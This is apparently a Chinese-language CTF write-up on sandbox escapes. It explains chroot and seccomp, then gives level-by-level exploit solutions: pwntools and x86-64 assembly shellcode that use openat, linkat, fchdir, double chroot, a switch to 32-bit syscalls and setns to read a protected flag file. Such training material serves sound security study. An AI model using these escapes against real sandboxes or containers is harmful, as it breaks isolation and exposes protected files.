0x01 chroot

chroot("/tmp/jail");
chdir("/");

这是一个正常的用法,但是如果我们没有 chdir这一步,则会出现越狱的情况。
20231031105501
chroot没有记忆
20231031105731
如图所示
20231031105847

0x02 seccomp

20231031110459

  1. 首先我们创建了一个scmp的一个filter,数据结构
  2. 初始化seccomp,用的默认规则
  3. 阻止了 execve的系统调用
  4. 使用了scecomp

原理:
20231031111101
提到了 ebpf

0x03 escape seccomp

20231031144108
主要原理:利用允许syscall,来进行有限的利用,从而达到break out的效果。
20231031144351
利用宽松的限制条件,导致出现了一个能够escape的系统调用出现在了限制之中,最后完成越狱。
20231031145032
在32位和64位的系统中,想用的系统调用的系统调用号不同,容易出现越狱。
20231031150004
内核问题,太高级了~~~
20231031150053

0x04 Challenges

level-1

../../../../../../flag

level-2

from pwn import *
context.arch = 'amd64'
context.os = 'linux'

shellcode = shellcraft.amd64.linux.cat("../../../../../../../flag")
p = process(argv=["/challenge/babyjail_level2","/etc/passwd"])
p.send(asm(shellcode))
p.interactive()
# with open("/tmp/dem0","wb") as f:
#     f.write(asm(shellcode))

Level-3,4
这一关已经指定了chdir了,则不能用上面的方法了,要使用 openat调用,注意chroot不会改变 getcwd()

.intel_syntax noprefix
_start:
    /* call openat(3, "../../../flag", int flags, mode_t mode);  */
    mov rdi, 3
    xor rdx,rdx
    lea rsi,[rip+flag]
    mov rax, 0x101
    syscall

    //read
    mov rdi,rax
    mov rsi,rsp
    mov rdx,60
    mov rax, 0
    syscall

    //write
    mov rdi,1
    mov rsi,rsp
    mov rdx,60
    mov rax,1
    syscall

    mov rdi,42
    mov rax,0x3c
    syscall
flag:
    .ascii "../../../../../../flag\0"
//gcc a.s -nostdlib && objcopy --dump-section .text=solve.bin a.out

注意运行的时候,应该给一个 diropenat如果你给的是一个文件的话,就会报错。

level-5
白名单中给了linkat参考链接,可以知道。

.intel_syntax noprefix
_start:
  

    /* call linkat(3,"../../../../../flag",4,"/a",0)*/
    mov rdi,3
    lea rsi,[rip+flag]
    mov rdx,4
    lea r10,[rip+new_file]
    mov r8,0
    mov rax,0x109
    syscall

    push 0x1010101 ^ 0x612f
    xor dword ptr [rsp], 0x1010101
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call open() */
    push 2 /* 2 */
    pop rax
    syscall

    //read
    mov rdi,rax
    mov rsi,rsp
    mov rdx,60
    mov rax, 0
    syscall

    //write
    mov rdi,1
    mov rsi,rsp
    mov rdx,60
    mov rax,1
    syscall

    mov rdi,42
    mov rax,0x3c
    syscall
flag:
    .ascii "../../../../../../flag\0"
new_file:
    .ascii "/a\0"
//gcc a.s -nostdlib && objcopy --dump-section .text=solve.bin a.out

Level-6
这一关更简单,fchdir

.intel_syntax noprefix
_start:


    mov rdi,3
    mov rax, 0x51
    syscall
    /* push b'../../../../../../flag\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x67616c662f2e
    xor [rsp], rax
    mov rax, 0x2e2f2e2e2f2e2e2f
    push rax
    mov rax, 0x2e2e2f2e2e2f2e2e
    push rax
    /* call open('rsp', 'O_RDONLY', 'rdx') */
    push 2 /* 2 */
    pop rax
    mov rdi, rsp
    xor esi, esi /* O_RDONLY */
    syscall
    /* call sendfile(1, 'rax', 0, 0x7fffffff) */
    mov r10d, 0x7fffffff
    mov rsi, rax
    push 0x28 /* 0x28 */
    pop rax
    push 1
    pop rdi
    cdq /* rdx=0 */
    syscall
//gcc a.s -nostdlib && objcopy --dump-section .text=solve.bin a.out

Level-7
原理:内核中只会记录一个chroot,所以但你第二次chroot的时候,并且不chdir就会出现第一关的问题,这个时候就可以越狱了。

push 0x65
mov rdi, rsp
mov rax, 83
syscall #mkdir("a")

mov rdi, rsp
mov rax, 161
syscall #chroot("a")

push 0x2f
mov rbx, 0x2e2e2f2e2e2f2e2e
push rbx
mov rdi, rsp
mov rax, 80
syscall 

push 0x2e
mov rdi, rsp
mov rax, 161
syscall 

push 0x67616c66
mov rdi, rsp
mov rax, 2
mov rsi, 0 
syscall

mov rdi, 1
mov rsi, rax
mov rdx, 0
mov r10, 1000
mov rax, 40
syscall

Level-9
x86_64和x86的区别所在

    mov rsp, 0x1337500
    call to32
    push 0x67
    push 0x616c662f
    mov ebx, esp
    mov ecx, 0
    mov eax, 5
    int 0x80
    mov ebx, 1
    mov ecx, eax
    mov edx, 0
    mov esi, 0x3e8
    mov eax, 0xbb
    int 0x80
to32:
    mov dword ptr [rsp + 4], 0x23
    retf

Adding architecture to seccomp filter: x86_32.这个是不能加-m 32来编译
level-10
[“read”, “exit”]这是白名单,我们知道exit(code)是会返回的,所以我们可以用这个方法来leak flag
level-11/12
同样的时间leak方法

level-14/15
bin目录挂载可写

level-16
cat /proc/1/root/flag

level-18
setns的神奇功能!

.intel_syntax noprefix
_start:
    push 0x74
    mov rax, 0x6e6d2f617461642f
    push rax
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call open() */
    push 2 /* 2 */
    pop rax
    syscall

    mov rdi,rax
    mov rsi,0
    mov rax,0x134
    syscall
    /* push b'../../../../flag\x00' */
    push 1
    dec byte ptr [rsp]
    mov rax, 0x67616c662f2e2e2f
    push rax
    mov rax, 0x2e2e2f2e2e2f2e2e
    push rax
    /* call open('rsp', 'O_RDONLY', 'rdx') */
    push 0x2 /* 2 */
    pop rax
    mov rdi, rsp
    xor esi, esi /* O_RDONLY */
    syscall
    /* call sendfile(1, 'rax', 0, 0x7fffffff) */
    mov r10d, 0x7fffffff
    mov rsi, rax
    push 0x28 /* 0x28 */
    pop rax
    push 1
    pop rdi
    cdq /* rdx=0 */
    syscall

//gcc b.s -nostdlib && objcopy --dump-section .text=solve.bin a.out

/challenge/babyjail_level18 /proc/1/ns/ <solve.bin

0x05 namspace

20231101203303